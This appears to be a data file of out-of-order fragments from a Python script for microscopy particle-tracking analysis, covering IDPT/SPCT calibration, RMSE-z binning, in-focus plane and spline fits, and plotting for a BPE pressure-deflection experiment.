"= pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx') dfs_on = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26 20:45:34.334931.xlsx') # 2.2 correct z by mean z_f",
"'std-colors']) fig, ax = plt.subplots() size_x_inches, size_y_inches = fig.get_size_inches() plt.close(fig) # ---------------------------------------------------------------------------------------------------------------------- #",
"SURFACE (NO CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) fig, ax",
"as np import pandas as pd from scipy.optimize import curve_fit import filter import",
"IN-FOCUS COORDS # SPCT analysis of images used for IDPT calibration path_spct_calib_coords =",
"'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx') # SPCT analysis of images used for IDPT test path_spct_test_coords = join(base_dir,",
"pd.read_excel(path_test_pid_defocus) dfcstats = pd.read_excel(path_test_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: # read",
"fig, ax = plt.subplots() ax.plot(df3.bin, df3.rmse_z, '-o', ms=ms, label=lbls[2], color=sciblue) ax.plot(df2.bin, df2.rmse_z, '-o',",
"----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns fig, ax = plt.subplots() ax.plot(dfrmse.index, dfrmse.rmse_z,",
"axr.plot(dftm.z_true, dftm.cm, '-o', ms=ms - 1, color=sciblue) axr.plot(dfs_offm.z_true, dfs_offm.cm, '-o', ms=ms - 1,",
"Green: #00B945 Red: #FF9500 Orange: #FF2C00 Other Colors: Light Blue: #7BC8F6 Paler Blue:",
"(512 * microns_per_pixel) ** 2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) # ---",
"marker=markers[0], color=sciorange) axr.set_ylabel(r'$c_{m}$') ax.plot(df3.bin, df3.rmse_z, '-', ms=ms-0.75, marker=markers[2], color=sciblue, label=lbls[2]) ax.plot(df2.bin, df2.rmse_z, '-',",
"right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( lbl, np.round(popt[0], 3), np.round(popt[1],",
"--- STEP 0. drop and rename columns for simplicity dft = dft.drop(columns=['z', 'z_true'])",
"\\: (\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_rmse-z_microns.png'.format(lbl)) if show_plots: plt.show() plt.close()",
"ax.set_ylim([0, 185]) ax.set_yticks([0, 50, 100, 150]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles_and_cm.png')",
"save_plots = False show_plots = False if compare_idpt_spct: # --- 1. IDPT #",
"bin.bin_generic(dft, column_to_bin='bin', column_to_count='id', bins=bins_z, round_to_decimal=round_z_to_decimal, return_groupby=True) # 1.3 plot binned rmse-z if save_plots",
"into pid_defocus_stats dfcpid = pd.read_excel(path_calib_pid_defocus) dfcstats = pd.read_excel(path_calib_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats,",
"= len(dft) i_num_pids = len(dft.id.unique()) # --- # --- STEP 0. drop and",
"remove outliers # 2.1 get z_in-focus mean + standard deviation zf_c_mean = dfcpid[param_zf].mean()",
"import os from os.path import join from os import listdir import matplotlib.pyplot as",
"min_cm = 0.5 # 1.1 mean rmse-z dfrmse_mean = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=1, min_cm=min_cm,",
"dft.copy() dftg = dftg.round({'z_true': 0}) dftc = dftg.groupby('z_true').count().reset_index() dfs_offc = dfs_off.groupby('z_true').count().reset_index() dfs_onc =",
"plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/idpt-calib-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs +",
"False if compare_idpt_spct: # --- 1. IDPT # read IDPT test coords dft",
"linestyle='--', linewidth=1.5, color='black', alpha=0.25, label=r'$dz/dz_{true} = $' + ' {}'.format(np.round(popt[0], 3))) ax.set_xlabel(r'$z_{true} \\:",
"# setup save_plots = True xylim = 37.25 xyticks = [-30, -15, 0,",
"# ---------------------------------------------------------------------------------------------------------------------- # ---------------------------------------------------------------------------------------------------------------------- # 3. ANALYSIS - READ FILES method = 'idpt'",
"PARTICLES column_to_bin = 'z_true' bins_z = 20 round_z_to_decimal = 3 min_cm = 0.5",
"if save_plots: plt.savefig(path_figs + '/rmse-z_microns.png') if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN +/-",
"(1) OFF BPE and (2) OFF BPE. column_to_bin = 'x' bins_x = [145,",
"their z_f = 0 position. \"\"\" param_zf = 'zf_from_peak_int' plot_calib_plane = False plot_calib_spline",
"for lbl, dft in zip(lbls, [df_on, df_edge, df_off]): # --- STEP 1. CALCULATE",
"dfrmsestd = bin.bin_generic(dft, column_to_bin='bin', column_to_count='id', bins=bins_z, round_to_decimal=round_z_to_decimal, return_groupby=True) # 1.3 plot binned rmse-z",
"plot_average_particle_similarity: # setup save_plots = True xylim = 37.25 xyticks = [-30, -15,",
"------------------------------------------------------------------------------------------------------------------ if use_idpt_zf: \"\"\" NOTE: This correction scheme fits a 2D spline to",
"plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 4. PLOT TEST COORDS RMSE-Z analyze_test_coords = False save_plots",
"PLOT CALIBRATION CURVE (Z VS. Z_TRUE) FOR EACH DATAFRAME (ON, EDGE, OFF) ss",
"save_plots: plt.savefig(path_figs + '/{}_rmse-z_microns.png'.format(lbl)) if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN +/- Z-STD",
"\"\"\" sciblue = '#0C5DA5' scigreen = '#00B945' scired = '#FF9500' sciorange = '#FF2C00'",
"= 0 dfbx = bin.bin_by_list(dft, column_to_bin=column_to_bin, bins=bins_x, round_to_decimal=round_x_to_decimal, ) df_on = dfbx[dfbx['bin'] ==",
"plt.subplots() ax.plot(dfrmse.index, dfrmse.rmse_z, '-o') ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z}",
"plt.savefig(path_figs + '/test-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/test-coords_fit-plane_raw.xlsx') #",
"right', markerscale=2.5) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/on-edge-off-bpe_calibration_curve.png') if show_plots: plt.show() plt.close() #",
"acquired with the intention of making the z-coords identical for all calibration image",
"show_plots: plt.show() plt.close() if rmse_on_off_bpe: # --- STEP 0. SPLIT DATAFRAME INTO (1)",
"# --- # FIGURE 2. PLOT NUMBER OF PARTICLES PER Z_TRUE AND CM",
"dfrmsem.z, yerr=dfrmsestd.z, fmt='o', ms=3, elinewidth=0.5, capsize=1, color=sciblue, label=r'$\\overline{z} \\pm \\sigma$') # ax.plot(z_fit, functions.line(z_fit,",
"zlim)] dfs_onm = dfs_onm[(dfs_onm['z_true'] > -zlim) & (dfs_onm['z_true'] < zlim)] # plot fig,",
"surprising because the calibration images were acquired with the intention of making the",
"dfrmse.z_true, dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z) **",
"plots xylim = 37.25 xyticks = [-30, -15, 0, 15, 30] lbls =",
"read IDPT test coords dft = io.read_test_coords(path_test_coords) # test coords stats mag_eff =",
"# A note on SciencePlots colors \"\"\" Blue: #0C5DA5 Green: #00B945 Red: #FF9500",
"ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$S (p_{i}, p_{N})$') ax.set_ylim([0.49, 1.01]) plt.tight_layout()",
"(\\mu m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns_cm.png') if show_plots: plt.show() plt.close()",
"STEP 1. PLOT CALIBRATION CURVE (Z VS. Z_TRUE) FOR EACH DATAFRAME (ON, EDGE,",
"dfc, dfcpid, dfcpop, dfcstats = io.read_calib_coords(path_calib_coords, method) # step 2. remove outliers #",
"this to set their z_f = 0 position. \"\"\" param_zf = 'zf_from_peak_int' plot_calib_plane",
"dft dft = dft[['frame', 'id', 'z', 'z_true', 'x', 'y', 'cm', 'error']] # step",
"0.8 # ----- 4.1 CORRECT TEST COORDS correct_test_coords = False if correct_test_coords: use_idpt_zf",
"'similarity') path_results = join(path_idpt, 'results') path_figs = join(path_idpt, 'figs') # ---------------------------------------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------------------------------------",
"image acquisition). \"\"\" # -------------------------------------------------------------------------------------------------------------- # SETUP - SPCT CALIBRATION IN-FOCUS COORDS #",
"ms=ms-0.75, marker=markers[2], color=sciblue, label=lbls[2]) ax.plot(df2.bin, df2.rmse_z, '-', ms=ms-0.75, marker=markers[1], color=scired, label=lbls[1]) ax.plot(df1.bin, df1.rmse_z,",
"> -zlim) & (dftm['z_true'] < zlim)] dfs_offm = dfs_offm[(dfs_offm['z_true'] > -zlim) & (dfs_offm['z_true']",
"ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.0), label=r'$SPCT_{Low}$')",
"calibration curve with std-z errorbars (microns) + fit line fig, ax = plt.subplots()",
"currently performed. The z-coords are well aligned enough in both calibration image sets",
"\\: (\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', markerscale=2.5) plt.tight_layout() if save_plots:",
"color=scired, label=lbls[1]) ax.plot(df1.bin, df1.rmse_z, '-', ms=ms-0.75, marker=markers[0], color=sciorange, label=lbls[0]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$')",
"import listdir import matplotlib.pyplot as plt # imports import numpy as np import",
"to the in-focus particle positions and uses this to set their z_f =",
") dfrmse_mean.to_excel(path_results + '/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl)) # 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z,",
"1.1 mean rmse-z dfrmse_mean = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True,",
"+ ' {}'.format(np.round(popt[0], 3))) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$z",
"plt.savefig(path_figs + '/idpt-calib-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/idpt-calib-coords_fit-plane_raw.xlsx') #",
"during image acquisition). \"\"\" # -------------------------------------------------------------------------------------------------------------- # SETUP - SPCT CALIBRATION IN-FOCUS COORDS",
"show_plots = False if compare_idpt_spct: # --- 1. IDPT # read IDPT test",
"performed. The z-coords are well aligned enough in both calibration image sets to",
"ky=ky) if plot_calib_spline: fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30, view='multi')",
"setup save_plots = True xylim = 37.25 xyticks = [-30, -15, 0, 15,",
"if show_plots: plt.show() plt.close() # --- STEP 2. FOR EACH DATAFRAME (ON, EDGE,",
"labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( np.round(popt[0], 3),",
"ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$S (p_{i}, p_{N})$') ax.set_ylim([0.49, 1.01]) plt.tight_layout() if save_plots: plt.savefig(path_figs +",
"1.0), label=r'$SPCT_{Low}$') ax.plot(dfs_onc.z_true, dfs_onc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.2), label=r'$SPCT_{High}$') ax.set_xlabel(r'$z \\: (\\mu m)$')",
"pd.read_excel(path_calib_pid_defocus) dfcstats = pd.read_excel(path_calib_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: # read",
"# ------------------------------------------------------------------------------------------------------------------ if use_idpt_zf: \"\"\" NOTE: This correction scheme fits a 2D spline",
"= join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib1_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers # 2.1",
"This is not necessarily surprising because the calibration images were acquired with the",
"dftg = dft.copy() dftg = dftg.round({'z_true': 0}) dftc = dftg.groupby('z_true').count().reset_index() dfs_offc = dfs_off.groupby('z_true').count().reset_index()",
"io.read_test_coords(path_test_coords) # step 6. drop unnecessary columns in dft dft = dft[['frame', 'id',",
"The z-coords are well aligned enough in both calibration image sets to just",
"if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles.png') if show_plots: plt.show() plt.close() # --- # FIGURE",
"1. PLOT NUMBER OF PARTICLES PER Z_TRUE fig, ax = plt.subplots() ax.plot(dftc.z_true, dftc.z,",
"'/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl)) # 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal,",
"(dftm['z_true'] < zlim)] dfs_offm = dfs_offm[(dfs_offm['z_true'] > -zlim) & (dfs_offm['z_true'] < zlim)] dfs_onm",
"zlim)] dfs_offc = dfs_offc[(dfs_offc['z_true'] > -zlim) & (dfs_offc['z_true'] < zlim)] dfs_onc = dfs_onc[(dfs_onc['z_true']",
"dft = io.read_test_coords(path_test_coords) # step 6. drop unnecessary columns in dft dft =",
"= 0.5 # 1.1 mean rmse-z dfrmse_mean = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=1, min_cm=min_cm, z_range=None,",
"c_m darken_clr = 1.0 alpha_clr = 1.0 fig, [axr, ax] = plt.subplots(nrows=2, sharex=True,",
"---------------------------------------------------------------------------------------------------------------------- # 6. AVERAGE PARTICLE-TO-PARTICLE SIMILARITY PER-FRAME plot_average_particle_similarity = False if plot_average_particle_similarity: #",
"'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_test_pid_defocus) dfcstats = pd.read_excel(path_test_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method,",
"(\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', markerscale=2.5) plt.tight_layout() if save_plots: plt.savefig(path_figs",
"'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx') path_calib_spct_stats = join(path_spct_calib_coords, 'calib_spct_stats_c-calib1_t-calib2.xlsx') path_calib_spct_pop = join(path_spct_calib_coords, 'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx') # SPCT analysis of",
"path_test_pid_defocus = join(path_spct_test_coords, 'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx') path_test_spct_stats = join(path_spct_test_coords, 'calib_spct_stats_c-calib2_t-calib3.xlsx') path_test_spct_pop = join(path_spct_test_coords, 'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx') #",
"calibration path_spct_calib_coords = join(base_dir, 'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords') path_calib_pid_defocus = join(path_spct_calib_coords, 'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx') path_calib_spct_stats = join(path_spct_calib_coords, 'calib_spct_stats_c-calib1_t-calib2.xlsx')",
"calibration images were acquired with the intention of making the z-coords identical for",
"** 2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve with std-z errorbars (microns)",
"ms=ms - 1, color=sciblue) axr.plot(dfs_offm.z_true, dfs_offm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.0)) axr.plot(dfs_onm.z_true,",
"= join(path_idpt, 'results') path_figs = join(path_idpt, 'figs') # ---------------------------------------------------------------------------------------------------------------------- # ---------------------------------------------------------------------------------------------------------------------- # 3.",
"bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y,",
"dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- 2. SPCT # 2.1 read",
"IDPT path_idpt = join(base_dir, 'results-04.26.22_idpt') path_test_coords = join(path_idpt, 'coords/test-coords') path_calib_coords = join(path_idpt, 'coords/calib-coords')",
"positions and uses this to set their z_f = 0 position. \"\"\" param_zf",
"ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 200]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles.png') if",
"print(rmse_fit_line) # binned calibration curve with std-z errorbars (microns) + fit line fig,",
"= correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane)",
"dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- 2. SPCT # 2.1 read SPCT off-bpe",
"RMSE-Z FOR ALL PARTICLES column_to_bin = 'z_true' bins_z = 20 round_z_to_decimal = 3",
"all figs plt.close('all') # ----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns fig, ax",
"been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib2_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove",
"= plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30, view='multi') ax.set_xlabel('x (pixels)') ax.set_ylabel('y (pixels)') ax.set_zlabel(r'$z_{f}",
"(\\#)$') ax.set_ylim([0, 200]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles.png') if show_plots: plt.show()",
"plt.savefig(path_figs + '/compare-idpt-spct_num-particles_and_cm.png') if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 6. AVERAGE PARTICLE-TO-PARTICLE",
"= 1.0 alpha_clr = 1.0 fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1,",
"if show_plots: plt.show() plt.close() if rmse_on_off_bpe: # --- STEP 0. SPLIT DATAFRAME INTO",
"dfrmse.rmse_z, '-o') ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu",
"(\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') ax.legend() plt.tight_layout() if",
"--- 3. GROUPBY Z_TRUE dftg = dft.copy() dftg = dftg.round({'z_true': 0}) dftc =",
"if correct_test_coords: use_idpt_zf = False use_spct_zf = False # ------------------------------------------------------------------------------------------------------------------ if use_idpt_zf: \"\"\"",
"len(dft.id.unique()) dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # ---",
"COORDS RMSE-Z analyze_test_coords = False save_plots = False show_plots = False if analyze_test_coords:",
"-zlim) & (dftc['z_true'] < zlim)] dfs_offc = dfs_offc[(dfs_offc['z_true'] > -zlim) & (dfs_offc['z_true'] <",
"zf_c_mean + zf_c_std)] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel)",
"Blue: #0343DF Azure: #069AF3 Dark Green: #054907 \"\"\" sciblue = '#0C5DA5' scigreen =",
"120] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c =",
"2]}) axr.plot(df3.bin, df3.cm, '-', ms=ms-2, marker=markers[2], color=sciblue) axr.plot(df2.bin, df2.cm, '-', ms=ms-2, marker=markers[1], color=scired)",
"+ '/compare-idpt-spct_num-particles_and_cm.png') if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 6. AVERAGE PARTICLE-TO-PARTICLE SIMILARITY",
"INTO (1) OFF BPE and (2) OFF BPE. column_to_bin = 'x' bins_x =",
"This correction scheme fits a 2D spline to the in-focus particle positions and",
"np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close() if rmse_compare: # 1.",
"--- STEP 1. CALCULATE RMSE-Z FOR ALL PARTICLES column_to_bin = 'z_true' bins_z =",
"OF PARTICLES PER Z_TRUE AND CM dftm = dftg.groupby('z_true').mean().reset_index() dfs_offm = dfs_off.groupby('z_true').mean().reset_index() dfs_onm",
"'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords') path_calib_pid_defocus = join(path_spct_calib_coords, 'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx') path_calib_spct_stats = join(path_spct_calib_coords, 'calib_spct_stats_c-calib1_t-calib2.xlsx') path_calib_spct_pop = join(path_spct_calib_coords, 'calib_spct_pop_defocus_stats_c-calib1_t-calib2.xlsx')",
"ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns_cm.png') if show_plots: plt.show() plt.close() # ----------------------------------------------------------------------------------------------------------------------",
"save_plots: plt.savefig(path_figs + '/average-particle-to-particle-similarity.png') plt.show() plt.close() j = 1 print(\"Analysis completed without errors.\")",
"and merge ['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_calib_pid_defocus) dfcstats = pd.read_excel(path_calib_spct_stats) dfcpid",
"ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns.png')",
"+/- Z-STD PLOTS # fit line popt, pcov = curve_fit(functions.line, dfrmse.z_true, dfrmse.z) z_fit",
"color=sciorange) axr.set_ylabel(r'$c_{m}$') ax.plot(df3.bin, df3.rmse_z, '-', ms=ms-0.75, marker=markers[2], color=sciblue, label=lbls[2]) ax.plot(df2.bin, df2.rmse_z, '-', ms=ms-0.75,",
"ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 200]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs",
"and (2) OFF BPE. column_to_bin = 'x' bins_x = [145, 175, 205] round_x_to_decimal",
"dfcstats = io.read_calib_coords(path_calib_coords, method) # step 2. remove outliers # 2.1 get z_in-focus",
"test bin, analyze, and plot functions # imports import os from os.path import",
"= curve_fit(functions.line, dfrmse.z_true, dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) -",
"ms=3, elinewidth=0.5, capsize=1, color=sciblue, label=r'$\\overline{z} \\pm \\sigma$') # ax.plot(z_fit, functions.line(z_fit, *popt), linestyle='--', linewidth=1.5,",
"SPCT calibration coords and merge ['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_test_pid_defocus) dfcstats",
"dftg.groupby('z_true').count().reset_index() dfs_offc = dfs_off.groupby('z_true').count().reset_index() dfs_onc = dfs_on.groupby('z_true').count().reset_index() # filter z_true for pretty plotting",
"'id', 'z', 'z_true', 'x', 'y', 'cm', 'error']] # step 7. create a z_corr",
"ax = plt.subplots() size_x_inches, size_y_inches = fig.get_size_inches() plt.close(fig) # ---------------------------------------------------------------------------------------------------------------------- # 1. SETUP",
"dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- rmse_all_particles",
"# fit line popt, pcov = curve_fit(functions.line, dfrmse.z_true, dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max())",
"ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 185]) ax.set_yticks([0, 50, 100, 150]) ax.legend()",
"Z-MEAN +/- Z-STD PLOTS # fit line popt, pcov = curve_fit(functions.line, dfrmse.z_true, dfrmse.z)",
"ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( lbl,",
"columns=['value']) dfict_fit_plane.to_excel(path_figs + '/test-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS",
"pd from scipy.optimize import curve_fit import filter import analyze from correction import correct",
"and uses this to set their z_f = 0 position. \"\"\" param_zf =",
"zf_c_std)] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c =",
"same beginning and ending tick mark on the fine adjustment knob during image",
"\\: (\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if",
"pid defocus stats that have already been merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib2_xy.xlsx') dfcpid",
"defocus stats. if merge_spct_stats: # read SPCT calibration coords and merge ['x', 'y']",
"min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl, bins_z)) # 1.3",
"popt_c = dictc_fit_plane['popt_pixels'] if plot_test_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/test-coords_fit-plane_raw.png') plt.close()",
"dfs_offm[(dfs_offm['z_true'] > -zlim) & (dfs_offm['z_true'] < zlim)] dfs_onm = dfs_onm[(dfs_onm['z_true'] > -zlim) &",
"plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_rmse-z_microns.png'.format(lbl)) if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN",
"'-o', ms=ms, color=lighten_color(scigreen, 1.2), label=r'$SPCT_{High}$') ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p}",
"ms=ms - 1, color=lighten_color(scigreen, 1.2)) axr.set_ylabel(r'$c_{m}$') axr.set_ylim([0.790, 1.01]) axr.set_yticks([0.8, 0.9, 1.0]) ax.plot(dftc.z_true, dftc.z,",
"dfs_off.groupby('z_true').mean().reset_index() dfs_onm = dfs_on.groupby('z_true').mean().reset_index() # filter z_true for pretty plotting dftm = dftm[(dftm['z_true']",
"using the same beginning and ending tick mark on the fine adjustment knob",
"= 512 ** 2 area_microns = (512 * microns_per_pixel) ** 2 i_num_rows =",
"plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30, view='multi') ax.set_xlabel('x (pixels)') ax.set_ylabel('y (pixels)') ax.set_zlabel(r'$z_{f} \\:",
"-------------------------------------------------------------------------------------------------------------- # --- PART A. READ COORDS USED FOR IDPT CALIBRATION (i.e. 'calib1')",
"= dfcpid[param_zf].mean() zf_c_std = dfcpid[param_zf].std() # 2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf]",
"z_f_mean dfs_on['z_true'] = dfs_on['z_true'] - z_f_mean # --- 3. GROUPBY Z_TRUE dftg =",
") dfrmse_mean.to_excel(path_results + '/mean-rmse-z_bin=1_no-filters.xlsx') # 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z,",
"= join(path_idpt, 'coords/test-coords') path_calib_coords = join(path_idpt, 'coords/calib-coords') path_similarity = join(path_idpt, 'similarity') path_results =",
"spct pid defocus stats. if merge_spct_stats: # read SPCT calibration coords and merge",
